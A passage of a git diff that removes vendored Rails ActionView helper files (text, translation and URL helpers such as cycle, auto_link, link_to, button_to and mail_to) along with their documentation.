-      #     <div style="background-color:<%= cycle("red","white","blue") %>">
-      #       <span style="background-color:<%= current_cycle %>"><%= item %></span>
-      #     </div>
-      #   <% end %>
-      def current_cycle(name = "default")
-        cycle = get_cycle(name)
-        cycle.current_value unless cycle.nil?
-      end
-
-      # Resets a cycle so that it starts from the first element the next time
-      # it is called. Pass in +name+ to reset a named cycle.
-      #
-      # ==== Example
-      #   # Alternate CSS classes for even and odd numbers...
-      #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
-      #   <table>
-      #   <% @items.each do |item| %>
-      #     <tr class="<%= cycle("even", "odd") -%>">
-      #         <% item.each do |value| %>
-      #           <span style="color:<%= cycle("#333", "#666", "#999", :name => "colors") -%>">
-      #             <%= value %>
-      #           </span>
-      #         <% end %>
-      #
-      #         <% reset_cycle("colors") %>
-      #     </tr>
-      #   <% end %>
-      #   </table>
-      def reset_cycle(name = "default")
-        cycle = get_cycle(name)
-        cycle.reset unless cycle.nil?
-      end
-
-      class Cycle #:nodoc:
-        attr_reader :values
-
-        def initialize(first_value, *values)
-          @values = values.unshift(first_value)
-          reset
-        end
-
-        def reset
-          @index = 0
-        end
-
-        def current_value
-          @values[previous_index].to_s
-        end
-
-        def to_s
-          value = @values[@index].to_s
-          @index = next_index
-          return value
-        end
-
-        private
-
-        def next_index
-          step_index(1)
-        end
-
-        def previous_index
-          step_index(-1)
-        end
-
-        def step_index(n)
-          (@index + n) % @values.size
-        end
-      end
-
-      private
-        # The cycle helpers need to store the cycles in a place that is
-        # guaranteed to be reset every time a page is rendered, so it
-        # uses an instance variable of ActionView::Base.
-        def get_cycle(name)
-          @_cycles = Hash.new unless defined?(@_cycles)
-          return @_cycles[name]
-        end
-
-        def set_cycle(name, cycle_object)
-          @_cycles = Hash.new unless defined?(@_cycles)
-          @_cycles[name] = cycle_object
-        end
-
-        AUTO_LINK_RE = %r{
-            (?: ([\w+.:-]+:)// | www\. )
-            [^\s<]+
-          }x
-
-        # regexps for determining context, used high-volume
-        AUTO_LINK_CRE = [/<[^>]+$/, /^[^>]*>/, /<a\b.*?>/i, /<\/a>/i]
-
-        AUTO_EMAIL_RE = /[\w.!#\$%+-]+@[\w-]+(?:\.[\w-]+)+/
-
-        BRACKETS = { ']' => '[', ')' => '(', '}' => '{' }
-
-        # Turns all urls into clickable links.  If a block is given, each url
-        # is yielded and the result is used as the link text.
-        def auto_link_urls(text, html_options = {})
-          link_attributes = html_options.stringify_keys
-          text.gsub(AUTO_LINK_RE) do
-            scheme, href = $1, $&
-            punctuation = []
-
-            if auto_linked?($`, $')
-              # do not change string; URL is already linked
-              href
-            else
-              # don't include trailing punctuation character as part of the URL
-              while href.sub!(/[^\w\/-]$/, '')
-                punctuation.push $&
-                if opening = BRACKETS[punctuation.last] and href.scan(opening).size > href.scan(punctuation.last).size
-                  href << punctuation.pop
-                  break
-                end
-              end
-
-              link_text = block_given?? yield(href) : href
-              href = 'http://' + href unless scheme
-
-              content_tag(:a, h(link_text), link_attributes.merge('href' => href)) + punctuation.reverse.join('')
-            end
-          end
-        end
-
-        # Turns all email addresses into clickable links.  If a block is given,
-        # each email is yielded and the result is used as the link text.
-        def auto_link_email_addresses(text, html_options = {})
-          text.gsub(AUTO_EMAIL_RE) do
-            text = $&
-
-            if auto_linked?($`, $')
-              text
-            else
-              display_text = (block_given?) ? yield(text) : text
-              mail_to text, display_text, html_options
-            end
-          end
-        end
-
-        # Detects already linked context or position in the middle of a tag
-        def auto_linked?(left, right)
-          (left =~ AUTO_LINK_CRE[0] and right =~ AUTO_LINK_CRE[1]) or
-            (left.rindex(AUTO_LINK_CRE[2]) and $' !~ AUTO_LINK_CRE[3])
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb
deleted file mode 100644
index f700eee9..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'action_view/helpers/tag_helper'
-
-module ActionView
-  module Helpers
-    module TranslationHelper
-      # Delegates to I18n#translate but also performs two additional functions. First, it'll catch MissingTranslationData exceptions
-      # and turn them into inline spans that contains the missing key, such that you can see in a view what is missing where.
-      #
-      # Second, it'll scope the key by the current partial if the key starts with a period. So if you call translate(".foo") from the
-      # people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo"). This makes it less repetitive
-      # to translate many keys within the same partials and gives you a simple framework for scoping them consistently. If you don't
-      # prepend the key with a period, nothing is converted.
-      def translate(keys, options = {})
-        if multiple_keys = keys.is_a?(Array)
-          ActiveSupport::Deprecation.warn "Giving an array to translate is deprecated, please give a symbol or a string instead", caller
-        end
-
-        options[:raise] = true
-        keys = scope_keys_by_partial(keys)
-
-        translations = I18n.translate(keys, options)
-        translations = [translations] if !multiple_keys && translations.size > 1
-        translations = html_safe_translation_keys(keys, translations)
-
-        if multiple_keys || translations.size > 1
-          translations
-        else
-          translations.first
-        end
-      rescue I18n::MissingTranslationData => e
-        keys = I18n.send(:normalize_translation_keys, e.locale, e.key, e.options[:scope])
-        content_tag('span', keys.join(', '), :class => 'translation_missing')
-      end
-      alias :t :translate
-
-      # Delegates to I18n.localize with no additional functionality.
-      def localize(*args)
-        I18n.localize(*args)
-      end
-      alias :l :localize
-
-
-      private
-        def scope_keys_by_partial(keys)
-          Array.wrap(keys).map do |key|
-            key = key.to_s
-
-            if key.first == "."
-              template.path_without_format_and_extension.gsub(%r{/_?}, ".") + key
-            else
-              key
-            end
-          end
-        end
-
-        def html_safe_translation_keys(keys, translations)
-          keys.zip(translations).map do |key, translation|
-            if key =~ /(\b|_|\.)html$/ && translation.respond_to?(:html_safe)
-              translation.html_safe
-            else
-              translation
-            end
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb
deleted file mode 100644
index 8654adb3..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/url_helper.rb
+++ /dev/null
@@ -1,637 +0,0 @@
-#require 'action_view/helpers/javascript_helper'
-
-module ActionView
-  module Helpers #:nodoc:
-    # Provides a set of methods for making links and getting URLs that
-    # depend on the routing subsystem (see ActionController::Routing).
-    # This allows you to use the same format for links in views
-    # and controllers.
-    module UrlHelper
-      include JavaScriptHelper
-
-      # Returns the URL for the set of +options+ provided. This takes the
-      # same options as +url_for+ in Action Controller (see the
-      # documentation for ActionController::Base#url_for). Note that by default
-      # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative /controller/action
-      # instead of the fully qualified URL like http://example.com/controller/action.
-      #
-      # When called from a view, url_for returns an HTML escaped url. If you
-      # need an unescaped url, pass <tt>:escape => false</tt> in the +options+.
-      #
-      # ==== Options
-      # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
-      # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
-      # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
-      #   is currently not recommended since it breaks caching.
-      # * <tt>:host</tt> - Overrides the default (current) host if provided.
-      # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
-      # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
-      # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
-      # * <tt>:escape</tt> - Determines whether the returned URL will be HTML escaped or not (<tt>true</tt> by default).
-      #
-      # ==== Relying on named routes
-      #
-      # If you instead of a hash pass a record (like an Active Record or Active Resource) as the options parameter,
-      # you'll trigger the named route for that record. The lookup will happen on the name of the class. So passing
-      # a Workshop object will attempt to use the workshop_path route. If you have a nested route, such as
-      # admin_workshop_path you'll have to call that explicitly (it's impossible for url_for to guess that route).
-      #
-      # ==== Examples
-      #   <%= url_for(:action => 'index') %>
-      #   # => /blog/
-      #
-      #   <%= url_for(:action => 'find', :controller => 'books') %>
-      #   # => /books/find
-      #
-      #   <%= url_for(:action => 'login', :controller => 'members', :only_path => false, :protocol => 'https') %>
-      #   # => https://www.railsapplication.com/members/login/
-      #
-      #   <%= url_for(:action => 'play', :anchor => 'player') %>
-      #   # => /messages/play/#player
-      #
-      #   <%= url_for(:action => 'checkout', :anchor => 'tax&ship') %>
-      #   # => /testing/jump/#tax&amp;ship
-      #
-      #   <%= url_for(:action => 'checkout', :anchor => 'tax&ship', :escape => false) %>
-      #   # => /testing/jump/#tax&ship
-      #
-      #   <%= url_for(Workshop.new) %>
-      #   # relies on Workshop answering a new_record? call (and in this case returning true)
-      #   # => /workshops
-      #
-      #   <%= url_for(@workshop) %>
-      #   # calls @workshop.to_s
-      #   # => /workshops/5
-      #
-      #   <%= url_for("http://www.example.com") %>
-      #   # => http://www.example.com
-      #
-      #   <%= url_for(:back) %>
-      #   # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
-      #   # => http://www.example.com
-      #
-      #   <%= url_for(:back) %>
-      #   # if request.env["HTTP_REFERER"] is not set or is blank
-      #   # => javascript:history.back()
-      def url_for(options = {})
-        options ||= {}
-        url = case options
-        when String
-          escape = true
-          options
-        when Hash
-          options = { :only_path => options[:host].nil? }.update(options.symbolize_keys)
-          escape  = options.key?(:escape) ? options.delete(:escape) : true
-          @controller.send(:url_for, options)
-        when :back
-          escape = false
-          @controller.request.env["HTTP_REFERER"] || 'javascript:history.back()'
-        else
-          escape = false
-          polymorphic_path(options)
-        end
-
-        escape ? escape_once(url).html_safe : url
-      end
-
-      # Creates a link tag of the given +name+ using a URL created by the set
-      # of +options+. See the valid options in the documentation for
-      # url_for. It's also possible to pass a string instead
-      # of an options hash to get a link tag that uses the value of the string as the
-      # href for the link, or use <tt>:back</tt> to link to the referrer - a JavaScript back
-      # link will be used in place of a referrer if none exists. If nil is passed as
-      # a name, the link itself will become the name.
-      #
-      # ==== Signatures
-      #
-      #   link_to(name, options = {}, html_options = nil)
-      #   link_to(options = {}, html_options = nil) do
-      #     # name
-      #   end
-      #
-      # ==== Options
-      # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
-      #   prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:popup => true || array of window options</tt> - This will force the
-      #   link to open in a popup window. By passing true, a default browser window
-      #   will be opened with the URL. You can also specify an array of options
-      #   that are passed-thru to JavaScripts window.open method.
-      # * <tt>:method => symbol of HTTP verb</tt> - This modifier will dynamically
-      #   create an HTML form and immediately submit the form for processing using
-      #   the HTTP verb specified. Useful for having links perform a POST operation
-      #   in dangerous actions like deleting a record (which search bots can follow
-      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt> and <tt>:put</tt>.
-      #   Note that if the user has JavaScript disabled, the request will fall back
-      #   to using GET. If you are relying on the POST behavior, you should check
-      #   for it in your controller's action by using the request object's methods
-      #   for <tt>post?</tt>, <tt>delete?</tt> or <tt>put?</tt>.
-      # * The +html_options+ will accept a hash of html attributes for the link tag.
-      #
-      # Note that if the user has JavaScript disabled, the request will fall back
-      # to using GET. If <tt>:href => '#'</tt> is used and the user has JavaScript disabled
-      # clicking the link will have no effect. If you are relying on the POST
-      # behavior, your should check for it in your controller's action by using the
-      # request object's methods for <tt>post?</tt>, <tt>delete?</tt> or <tt>put?</tt>.
-      #
-      # You can mix and match the +html_options+ with the exception of
-      # <tt>:popup</tt> and <tt>:method</tt> which will raise an ActionView::ActionViewError
-      # exception.
-      #
-      # ==== Examples
-      # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
-      # and newer RESTful routes.  Current Rails style favors RESTful routes whenever possible, so base
-      # your application on resources and use
-      #
-      #   link_to "Profile", profile_path(@profile)
-      #   # => <a href="/profiles/1">Profile</a>
-      #
-      # or the even pithier
-      #
-      #   link_to "Profile", @profile
-      #   # => <a href="/profiles/1">Profile</a>
-      #
-      # in place of the older more verbose, non-resource-oriented
-      #
-      #   link_to "Profile", :controller => "profiles", :action => "show", :id => @profile
-      #   # => <a href="/profiles/show/1">Profile</a>
-      #
-      # Similarly,
-      #
-      #   link_to "Profiles", profiles_path
-      #   # => <a href="/profiles">Profiles</a>
-      #
-      # is better than
-      #
-      #   link_to "Profiles", :controller => "profiles"
-      #   # => <a href="/profiles">Profiles</a>
-      #
-      # You can use a block as well if your link target is hard to fit into the name parameter. ERb example:
-      #
-      #   <% link_to(@profile) do %>
-      #     <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
-      #   <% end %>
-      #   # => <a href="/profiles/1"><strong>David</strong> -- <span>Check it out!!</span></a>
-      #
-      # Classes and ids for CSS are easy to produce:
-      #
-      #   link_to "Articles", articles_path, :id => "news", :class => "article"
-      #   # => <a href="/articles" class="article" id="news">Articles</a>
-      #
-      # Be careful when using the older argument style, as an extra literal hash is needed:
-      #
-      #   link_to "Articles", { :controller => "articles" }, :id => "news", :class => "article"
-      #   # => <a href="/articles" class="article" id="news">Articles</a>
-      #
-      # Leaving the hash off gives the wrong link:
-      #
-      #   link_to "WRONG!", :controller => "articles", :id => "news", :class => "article"
-      #   # => <a href="/articles/index/news?class=article">WRONG!</a>
-      #
-      # +link_to+ can also produce links with anchors or query strings:
-      #
-      #   link_to "Comment wall", profile_path(@profile, :anchor => "wall")
-      #   # => <a href="/profiles/1#wall">Comment wall</a>
-      #
-      #   link_to "Ruby on Rails search", :controller => "searches", :query => "ruby on rails"
-      #   # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
-      #
-      #   link_to "Nonsense search", searches_path(:foo => "bar", :baz => "quux")
-      #   # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
-      #
-      # The three options specific to +link_to+ (<tt>:confirm</tt>, <tt>:popup</tt>, and <tt>:method</tt>) are used as follows:
-      #
-      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", :confirm => "Are you sure?"
-      #   # => <a href="http://www.rubyonrails.org/" onclick="return confirm('Are you sure?');">Visit Other Site</a>
-      #
-      #   link_to "Help", { :action => "help" }, :popup => true
-      #   # => <a href="/testing/help/" onclick="window.open(this.href);return false;">Help</a>
-      #
-      #   link_to "View Image", @image, :popup => ['new_window_name', 'height=300,width=600']
-      #   # => <a href="/images/9" onclick="window.open(this.href,'new_window_name','height=300,width=600');return false;">View Image</a>
-      #
-      #   link_to "Delete Image", @image, :confirm => "Are you sure?", :method => :delete
-      #   # => <a href="/images/9" onclick="if (confirm('Are you sure?')) { var f = document.createElement('form');
-      #        f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;
-      #        var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method');
-      #        m.setAttribute('value', 'delete'); f.appendChild(m);f.submit(); };return false;">Delete Image</a>
-      def link_to(*args, &block)
-        if block_given?
-          options      = args.first || {}
-          html_options = args.second
-          concat(link_to(capture(&block), options, html_options))
-        else
-          name         = args.first
-          options      = args.second || {}
-          html_options = args.third
-
-          url = url_for(options)
-
-          if html_options
-            html_options = html_options.stringify_keys
-            href = html_options['href']
-            convert_options_to_javascript!(html_options, url)
-            tag_options = tag_options(html_options)
-          else
-            tag_options = nil
-          end
-
-          href_attr = "href=\"#{url}\"" unless href
-          "<a #{href_attr}#{tag_options}>#{name || url}</a>".html_safe
-        end
-      end
-
-      # Generates a form containing a single button that submits to the URL created
-      # by the set of +options+. This is the safest method to ensure links that
-      # cause changes to your data are not triggered by search bots or accelerators.
-      # If the HTML button does not work with your layout, you can also consider
-      # using the link_to method with the <tt>:method</tt> modifier as described in
-      # the link_to documentation.
-      #
-      # The generated FORM element has a class name of <tt>button-to</tt>
-      # to allow styling of the form itself and its children. You can control
-      # the form submission and input element behavior using +html_options+.
-      # This method accepts the <tt>:method</tt> and <tt>:confirm</tt> modifiers
-      # described in the link_to documentation. If no <tt>:method</tt> modifier
-      # is given, it will default to performing a POST operation. You can also
-      # disable the button by passing <tt>:disabled => true</tt> in +html_options+.
-      # If you are using RESTful routes, you can pass the <tt>:method</tt>
-      # to change the HTTP verb used to submit the form.
-      #
-      # ==== Options
-      # The +options+ hash accepts the same options at url_for.
-      #
-      # There are a few special +html_options+:
-      # * <tt>:method</tt> - Specifies the anchor name to be appended to the path.
-      # * <tt>:disabled</tt> - Specifies the anchor name to be appended to the path.
-      # * <tt>:confirm</tt> - This will add a JavaScript confirm
-      #   prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
-      #
-      # ==== Examples
-      #   <%= button_to "New", :action => "new" %>
-      #   # => "<form method="post" action="/controller/new" class="button-to">
-      #   #      <div><input value="New" type="submit" /></div>
-      #   #    </form>"
-      #
-      #   button_to "Delete Image", { :action => "delete", :id => @image.id },
-      #             :confirm => "Are you sure?", :method => :delete
-      #   # => "<form method="post" action="/images/delete/1" class="button-to">
-      #   #      <div>
-      #   #        <input type="hidden" name="_method" value="delete" />
-      #   #        <input onclick="return confirm('Are you sure?');"
-      #   #              value="Delete" type="submit" />
-      #   #      </div>
-      #   #    </form>"
-      def button_to(name, options = {}, html_options = {})
-        html_options = html_options.stringify_keys
-        convert_boolean_attributes!(html_options, %w( disabled ))
-
-        method_tag = ''
-        if (method = html_options.delete('method')) && %w{put delete}.include?(method.to_s)
-          method_tag = tag('input', :type => 'hidden', :name => '_method', :value => method.to_s)
-        end
-
-        form_method = method.to_s == 'get' ? 'get' : 'post'
-
-        request_token_tag = ''
-        if form_method == 'post' && protect_against_forgery?
-          request_token_tag = tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
-        end
-
-        if confirm = html_options.delete("confirm")
-          html_options["onclick"] = "return #{confirm_javascript_function(confirm)};"
-        end
-
-        url = options.is_a?(String) ? options : self.url_for(options)
-        name ||= url
-
-        html_options.merge!("type" => "submit", "value" => name)
-
-        ("<form method=\"#{form_method}\" action=\"#{escape_once url}\" class=\"button-to\"><div>" +
-          method_tag + tag("input", html_options) + request_token_tag + "</div></form>").html_safe
-      end
-
-
-      # Creates a link tag of the given +name+ using a URL created by the set of
-      # +options+ unless the current request URI is the same as the links, in
-      # which case only the name is returned (or the given block is yielded, if
-      # one exists).  You can give link_to_unless_current a block which will
-      # specialize the default behavior (e.g., show a "Start Here" link rather
-      # than the link's text).
-      #
-      # ==== Examples
-      # Let's say you have a navigation menu...
-      #
-      #   <ul id="navbar">
-      #     <li><%= link_to_unless_current("Home", { :action => "index" }) %></li>
-      #     <li><%= link_to_unless_current("About Us", { :action => "about" }) %></li>
-      #   </ul>
-      #
-      # If in the "about" action, it will render...
-      #
-      #   <ul id="navbar">
-      #     <li><a href="/controller/index">Home</a></li>
-      #     <li>About Us</li>
-      #   </ul>
-      #
-      # ...but if in the "index" action, it will render:
-      #
-      #   <ul id="navbar">
-      #     <li>Home</li>
-      #     <li><a href="/controller/about">About Us</a></li>
-      #   </ul>
-      #
-      # The implicit block given to link_to_unless_current is evaluated if the current
-      # action is the action given.  So, if we had a comments page and wanted to render a
-      # "Go Back" link instead of a link to the comments page, we could do something like this...
-      #
-      #    <%=
-      #        link_to_unless_current("Comment", { :controller => 'comments', :action => 'new}) do
-      #           link_to("Go back", { :controller => 'posts', :action => 'index' })
-      #        end
-      #     %>
-      def link_to_unless_current(name, options = {}, html_options = {}, &block)
-        link_to_unless current_page?(options), name, options, html_options, &block
-      end
-
-      # Creates a link tag of the given +name+ using a URL created by the set of
-      # +options+ unless +condition+ is true, in which case only the name is
-      # returned. To specialize the default behavior (i.e., show a login link rather
-      # than just the plaintext link text), you can pass a block that
-      # accepts the name or the full argument list for link_to_unless.
-      #
-      # ==== Examples
-      #   <%= link_to_unless(@current_user.nil?, "Reply", { :action => "reply" }) %>
-      #   # If the user is logged in...
-      #   # => <a href="/controller/reply/">Reply</a>
-      #
-      #   <%=
-      #      link_to_unless(@current_user.nil?, "Reply", { :action => "reply" }) do |name|
-      #        link_to(name, { :controller => "accounts", :action => "signup" })
-      #      end
-      #   %>
-      #   # If the user is logged in...
-      #   # => <a href="/controller/reply/">Reply</a>
-      #   # If not...
-      #   # => <a href="/accounts/signup">Reply</a>
-      def link_to_unless(condition, name, options = {}, html_options = {}, &block)
-        if condition
-          if block_given?
-            block.arity <= 1 ? yield(name) : yield(name, options, html_options)
-          else
-            name
-          end
-        else
-          link_to(name, options, html_options)
-        end
-      end
-
-      # Creates a link tag of the given +name+ using a URL created by the set of
-      # +options+ if +condition+ is true, in which case only the name is
-      # returned. To specialize the default behavior, you can pass a block that
-      # accepts the name or the full argument list for link_to_unless (see the examples
-      # in link_to_unless).
-      #
-      # ==== Examples
-      #   <%= link_to_if(@current_user.nil?, "Login", { :controller => "sessions", :action => "new" }) %>
-      #   # If the user isn't logged in...
-      #   # => <a href="/sessions/new/">Login</a>
-      #
-      #   <%=
-      #      link_to_if(@current_user.nil?, "Login", { :controller => "sessions", :action => "new" }) do
-      #        link_to(@current_user.login, { :controller => "accounts", :action => "show", :id => @current_user })
-      #      end
-      #   %>
-      #   # If the user isn't logged in...
-      #   # => <a href="/sessions/new/">Login</a>
-      #   # If they are logged in...
-      #   # => <a href="/accounts/show/3">my_username</a>
-      def link_to_if(condition, name, options = {}, html_options = {}, &block)
-        link_to_unless !condition, name, options, html_options, &block
-      end
-
-      # Creates a mailto link tag to the specified +email_address+, which is
-      # also used as the name of the link unless +name+ is specified. Additional
-      # HTML attributes for the link can be passed in +html_options+.
-      #
-      # mail_to has several methods for hindering email harvesters and customizing
-      # the email itself by passing special keys to +html_options+.
-      #
-      # ==== Options
-      # * <tt>:encode</tt>  - This key will accept the strings "javascript" or "hex".
-      #   Passing "javascript" will dynamically create and encode the mailto: link then
-      #   eval it into the DOM of the page. This method will not show the link on
-      #   the page if the user has JavaScript disabled. Passing "hex" will hex
-      #   encode the +email_address+ before outputting the mailto: link.
-      # * <tt>:replace_at</tt>  - When the link +name+ isn't provided, the
-      #   +email_address+ is used for the link label. You can use this option to
-      #   obfuscate the +email_address+ by substituting the @ sign with the string
-      #   given as the value.
-      # * <tt>:replace_dot</tt>  - When the link +name+ isn't provided, the
-      #   +email_address+ is used for the link label. You can use this option to
-      #   obfuscate the +email_address+ by substituting the . in the email with the
-      #   string given as the value.
-      # * <tt>:subject</tt>  - Preset the subject line of the email.
-      # * <tt>:body</tt> - Preset the body of the email.
-      # * <tt>:cc</tt>  - Carbon Copy addition recipients on the email.
-      # * <tt>:bcc</tt>  - Blind Carbon Copy additional recipients on the email.
-      #
-      # ==== Examples
-      #   mail_to "me@domain.com"
-      #   # => <a href="mailto:me@domain.com">me@domain.com</a>
-      #
-      #   mail_to "me@domain.com", "My email", :encode => "javascript"
-      #   # => <script type="text/javascript">eval(decodeURIComponent('%64%6f%63...%27%29%3b'))</script>
-      #
-      #   mail_to "me@domain.com", "My email", :encode => "hex"
-      #   # => <a href="mailto:%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">My email</a>
-      #
-      #   mail_to "me@domain.com", nil, :replace_at => "_at_", :replace_dot => "_dot_", :class => "email"
-      #   # => <a href="mailto:me@domain.com" class="email">me_at_domain_dot_com</a>
-      #
-      #   mail_to "me@domain.com", "My email", :cc => "ccaddress@domain.com",
-      #            :subject => "This is an example email"
-      #   # => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">My email</a>
-      def mail_to(email_address, name = nil, html_options = {})
-        html_options = html_options.stringify_keys
-        encode = html_options.delete("encode").to_s
-        cc, bcc, subject, body = html_options.delete("cc"), html_options.delete("bcc"), html_options.delete("subject"), html_options.delete("body")
-
-        string = ''
-        extras = ''
-        extras << "cc=#{CGI.escape(cc).gsub("+", "%20")}&" unless cc.nil?
-        extras << "bcc=#{CGI.escape(bcc).gsub("+", "%20")}&" unless bcc.nil?
-        extras << "body=#{CGI.escape(body).gsub("+", "%20")}&" unless body.nil?
-        extras << "subject=#{CGI.escape(subject).gsub("+", "%20")}&" unless subject.nil?
-        extras = "?" << extras.gsub!(/&?$/,"") unless extras.empty?
-
-        email_address_obfuscated = html_escape(email_address)
-        email_address_obfuscated.gsub!(/@/, html_options.delete("replace_at")) if html_options.has_key?("replace_at")
-        email_address_obfuscated.gsub!(/\./, html_options.delete("replace_dot")) if html_options.has_key?("replace_dot")
-
-        if encode == "javascript"
-          html = content_tag("a", name || email_address_obfuscated.html_safe, html_options.merge({ "href" => "mailto:"+html_escape(email_address)+extras }))
-          "document.write('#{escape_javascript(html)}');".each_byte do |c|
-            string << sprintf("%%%x", c)
-          end
-          "<script type=\"#{Mime::JS}\">eval(decodeURIComponent('#{string}'))</script>"
-        elsif encode == "hex"
-          email_address_encoded = ''
-          email_address_obfuscated.each_byte do |c|
-            email_address_encoded << sprintf("&#%d;", c)
-          end
-
-          protocol = 'mailto:'
-          protocol.each_byte { |c| string << sprintf("&#%d;", c) }
-
-          email_address.each_byte do |c|
-            char = c.chr
-            string << (char =~ /\w/ ? sprintf("%%%x", c) : char)
-          end
-          content_tag "a", name || email_address_encoded.html_safe, html_options.merge({ "href" => "#{string}#{extras}" })
-        else
-          content_tag "a", name || email_address_obfuscated.html_safe, html_options.merge({ "href" => "mailto:#{email_address}#{extras}" })
-        end
-      end
-
-      # True if the current request URI was generated by the given +options+.
-      #
-      # ==== Examples
-      # Let's say we're in the <tt>/shop/checkout?order=desc</tt> action.
-      #
-      #   current_page?(:action => 'process')
-      #   # => false
-      #
-      #   current_page?(:controller => 'shop', :action => 'checkout')
-      #   # => true
-      #
-      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'asc')
-      #   # => false
-      #
-      #   current_page?(:action => 'checkout')
-      #   # => true
-      #
-      #   current_page?(:controller => 'library', :action => 'checkout')
-      #   # => false
-      #
-      # Let's say we're in the <tt>/shop/checkout?order=desc&page=1</tt> action.
-      #
-      #   current_page?(:action => 'process')
-      #   # => false
-      #
-      #   current_page?(:controller => 'shop', :action => 'checkout')
-      #   # => true
-      #
-      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc', :page=>'1')
-      #   # => true
-      #
-      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc', :page=>'2')
-      #   # => false
-      #
-      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'desc')
-      #   # => false
-      #
-      #   current_page?(:action => 'checkout')
-      #   # => true
-      #
-      #   current_page?(:controller => 'library', :action => 'checkout')
-      #   # => false
-      def current_page?(options)
-        url_string = CGI.unescapeHTML(url_for(options))
-        request = @controller.request
-        # We ignore any extra parameters in the request_uri if the 
-        # submitted url doesn't have any either.  This lets the function
-        # work with things like ?order=asc 
-        if url_string.index("?")
-          request_uri = request.request_uri
-        else
-          request_uri = request.request_uri.split('?').first
-        end
-        if url_string =~ /^\w+:\/\//
-          url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
-        else
-          url_string == request_uri
-        end
-      end
-
-      private
-        def convert_options_to_javascript!(html_options, url = '')
-          confirm, popup = html_options.delete("confirm"), html_options.delete("popup")
-
-          method, href = html_options.delete("method"), html_options['href']
-
-          html_options["onclick"] = case
-            when popup && method
-              raise ActionView::ActionViewError, "You can't use :popup and :method in the same link"
-            when confirm && popup
-              "if (#{confirm_javascript_function(confirm)}) { #{popup_javascript_function(popup)} };return false;"
-            when confirm && method
-              "if (#{confirm_javascript_function(confirm)}) { #{method_javascript_function(method, url, href)} };return false;"
-            when confirm
-              "return #{confirm_javascript_function(confirm)};"
-            when method
-              "#{method_javascript_function(method, url, href)}return false;"
-            when popup
-              "#{popup_javascript_function(popup)}return false;"
-            else
-              html_options["onclick"]
-          end
-        end
-
-        def confirm_javascript_function(confirm)
-          "confirm('#{escape_javascript(confirm)}')"
-        end
-
-        def popup_javascript_function(popup)
-          popup.is_a?(Array) ? "window.open(this.href,'#{popup.first}','#{popup.last}');" : "window.open(this.href);"
-        end
-
-        def method_javascript_function(method, url = '', href = nil)
-          action = (href && url.size > 0) ? "'#{url}'" : 'this.href'
-          submit_function =
-            "var f = document.createElement('form'); f.style.display = 'none'; " +
-            "this.parentNode.appendChild(f); f.method = 'POST'; f.action = #{action};"
-
-          unless method == :post
-            submit_function << "var m = document.createElement('input'); m.setAttribute('type', 'hidden'); "
-            submit_function << "m.setAttribute('name', '_method'); m.setAttribute('value', '#{method}'); f.appendChild(m);"
-          end
-
-          if protect_against_forgery?
-            submit_function << "var s = document.createElement('input'); s.setAttribute('type', 'hidden'); "
-            submit_function << "s.setAttribute('name', '#{request_forgery_protection_token}'); s.setAttribute('value', '#{escape_javascript form_authenticity_token}'); f.appendChild(s);"
-          end
-          submit_function << "f.submit();"
-        end
-
-        # Processes the _html_options_ hash, converting the boolean
-        # attributes from true/false form into the form required by
-        # HTML/XHTML.  (An attribute is considered to be boolean if
-        # its name is listed in the given _bool_attrs_ array.)
-        #
-        # More specifically, for each boolean attribute in _html_options_
-        # given as:
-        #
-        #     "attr" => bool_value
-        #
-        # if the associated _bool_value_ evaluates to true, it is
-        # replaced with the attribute's name; otherwise the attribute is
-        # removed from the _html_options_ hash.  (See the XHTML 1.0 spec,
-        # section 4.5 "Attribute Minimization" for more:
-        # http://www.w3.org/TR/xhtml1/#h-4.5)
-        #
-        # Returns the updated _html_options_ hash, which is also modified
-        # in place.
-        #
-        # Example:
-        #
-        #   convert_boolean_attributes!( html_options,
-        #                                %w( checked disabled readonly ) )
-        def convert_boolean_attributes!(html_options, bool_attrs)
-          bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
-          html_options
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/inline_template.rb b/vendor/rails/actionpack/lib/action_view/inline_template.rb
deleted file mode 100644
